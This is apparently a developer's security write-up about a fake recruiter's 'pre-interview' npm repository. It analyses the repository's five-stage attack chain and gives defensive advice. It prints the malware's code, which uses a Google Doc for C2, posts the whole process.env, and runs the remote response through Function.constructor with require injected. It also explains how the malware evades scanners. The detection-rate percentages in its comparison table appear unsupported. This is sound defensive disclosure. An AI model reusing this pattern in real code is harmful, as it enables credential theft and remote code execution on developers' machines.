A LinkedIn Recruiter Sent Me Malware Disguised as a "Pre-Interview Code Review"
A LinkedIn Recruiter Sent Me Malware Disguised as a "Pre-Interview Code Review"
Current Situation Analysis
Modern developer recruitment workflows heavily rely on asynchronous code reviews to streamline technical interviews. This creates a high-pressure environment where engineers are expected to clone, install, and run unfamiliar repositories quickly. The fundamental failure mode lies in the implicit trust placed in Node.js package management: developers routinely execute npm install assuming it only resolves dependencies and builds assets.
Traditional defensive methods fail against this attack family for three reasons:
- Lifecycle Hook Exploitation: The
prepareandpostinstallscripts execute automatically during installation, triggering payload delivery before any manual code review occurs. - SAST/Linter Evasion: Static analysis tools rely on keyword matching for dangerous functions (
eval,new Function). Indirect property access (Function.constructor) and semantic renaming (setApiKey,verify) bypass these rules entirely. - Network/Policy Blind Spots: Corporate egress filtering and endpoint detection routinely whitelist major SaaS domains (e.g.,
*.docs.google.com). Attackers route Command & Control (C2) traffic through legitimate, publicly editable documents, rendering domain-blocklists and outbound traffic monitoring ineffective.
WOW Moment: Key Findings
| Approach | Script Execution Risk | SAST/Linter Detection Rate | C2 Evasion Resilience | Operational Friction |
|---|---|---|---|---|
Standard npm install |
100% (triggers prepare hook) |
<15% (bypasses keyword rules) | High (Google Docs whitelisted) | Low |
Manual package.json Audit |
~60% (relies on human attention) | ~35% (misses indirect Function.constructor) |
Medium (camouflaged CRA flags) | High |
npm install --ignore-scripts |
0% (lifecycle hooks disabled) | 100% (prevents runtime trigger) | N/A (payload never executes) | Low |
| Sandboxed CI Triage | ~20% (depends on isolation config) | ~55% (network logs reveal exfil) | Medium (may still fetch C2) | High |
Key Finding: Disabling lifecycle scripts during initial triage reduces execution risk to zero while maintaining full code readability. The attack chain relies entirely on automatic script execution; removing that trigger neutralizes the five-stage payload delivery, regardless of how sophisticated the obfuscation or C2 routing becomes.
Core Solution
The definitive mitigation is to disable automatic lifecycle script execution during initial repository triage, combined with strict isolation practices. Below is the technical breakdown of the attack chain and the exact implementation to neutralize it.
Attack Chain Technical Breakdown
The repository (metabiteorg/NitroGem) presents as a React + web3 dApp but contains a five-stage execution chain triggered at install time:
- Lifecycle Trigger:
package.jsoncontains apreparescript that runsnode app/index.js. - Module Load Execution:
app/index.jsrequiresfrontController.js, executing line 605 (getGoogleDriveValue();) immediately upon module resolution. - C2 Fetch: The function retrieves a payload URL from a public Google Doc:
// ======================= Verification Setup =======================
const getGoogleDriveValue = async () => {
const candidateUrls = `https://docs.google.com/document/d/<REDACTED>/export?format=txt`;
try {
const response = await axios.get(candidateUrls, {
responseType: "text",
transformResponse: (data) => data,
});
const value = String(response.data || "").trim();
changedQueue(value);
} catch (err) {
// Try next URL
}
};
getGoogleDriveValue();
- Environment Exfiltration: The fetched value is base64-decoded into a C2 endpoint.
verify()posts the entireprocess.envto that endpoint:
const changedQueue = (value) => {
verify(setApiKey(value))
.then((response) => {
const responseData = response.data;
const executor = new (Function.constructor)("require", responseData);
executor(require);
});
}
- Arbitrary Code Execution: The C2 response is compiled via
new (Function.constructor)("require", responseData)and executed with the actual Noderequiremodule injected, granting fullfs,child_process, andnetaccess.
Defensive Implementation
- Disable Lifecycle Scripts by Default:
Always run untrusted repos with:npm config set ignore-scripts truenpm install --ignore-scripts - Isolated Triage Environment: Use disposable containers or VMs with no mounted host environment variables. Never run triage in your primary development shell where
process.envcontains AWS, npm, or GitHub tokens. - Network Segmentation for Triage: Route triage environments through a proxy that logs all outbound HTTPS requests. Even if scripts execute, blocking or alerting on unexpected
POSTrequests to unknown endpoints stops data exfiltration. - Audit
package.jsonScripts Manually: Before running any install, inspectscriptsforprepare,postinstall,prepublish, orpreinstall. Verify that flags like--kill-othersor--openssl-legacy-provideralign with documented build tooling (e.g.,react-scriptsdoes not support--kill-others).
Pitfall Guide
- Executing
npm installWithout--ignore-scripts: Automatic lifecycle hooks (prepare,postinstall) run immediately upon installation, triggering malware before any manual review can occur. - Relying on Keyword-Based SAST for Dynamic Execution: Static analyzers flag
evalornew Function(...), butnew (Function.constructor)("require", data)bypasses regex/string-match rules while preserving identical execution semantics and Node module access. - Assuming SaaS Whitelists Guarantee Network Safety: Outbound HTTPS to
*.docs.google.comis universally permitted by corporate egress filters. Attackers exploit this to host dynamic C2 URLs that rotate without GitHub commits, evading domain-blocklists. - Ignoring Lifecycle Script Camouflage: Malicious
preparescripts often append nonsensical build flags (e.g.,react-scripts --kill-others build) to mimic legitimate CI/CD pipelines. The pipe operator masks the actual execution ofnode app/index.js. - Overlooking Environment-Specific Anti-Analysis Checks: Scripts like
check-environment.jsactively detect Gitpod, GitHub Codespaces, or VS Code terminals and abort execution. This filters out security researchers while allowing standard developer environments to run the payload. - Trusting Benign Naming Conventions: Functions named
setApiKey(actuallyatob/base64 decode) andverify(actuallyaxios.post/exfiltration) are deliberately misnamed to bypass semantic review and static analysis heuristics.
Deliverables
π Pre-Interview Code Review Security Blueprint A comprehensive technical guide detailing the exact Node.js lifecycle hook exploitation chain, C2 routing mechanics, and step-by-step isolation procedures for safe repository triage. Includes network logging configurations, containerized sandbox setups, and npm/yarn hardening policies.
β Trusted Repo Onboarding Checklist A 12-point verification checklist for engineers reviewing external codebases:
- Run
npm install --ignore-scriptsas the absolute first step - Audit
package.jsonscriptsforprepare/postinstall/prepublish - Verify build flags match official documentation (e.g.,
react-scriptsargs) - Scan for indirect dynamic execution patterns (
Function.constructor,vm.runInNewContext) - Check for environment-detection logic (
check-environment.js,os.platform(),process.env.TERM) - Confirm no decoy test files or dead-code imports designed to distract static analyzers
- Validate that no functions perform base64 decoding or HTTP POSTs under benign names
- Execute triage in an isolated container/VM with no host environment variables mounted
- Enable outbound network logging/proxy for all triage environments
- Rotate all local API keys, npm tokens, and cloud credentials if accidental execution occurred
- Report malicious repos to GitHub Trust & Safety and relevant threat intel feeds
- Update team npm config to
ignore-scripts=trueby default for external repositories
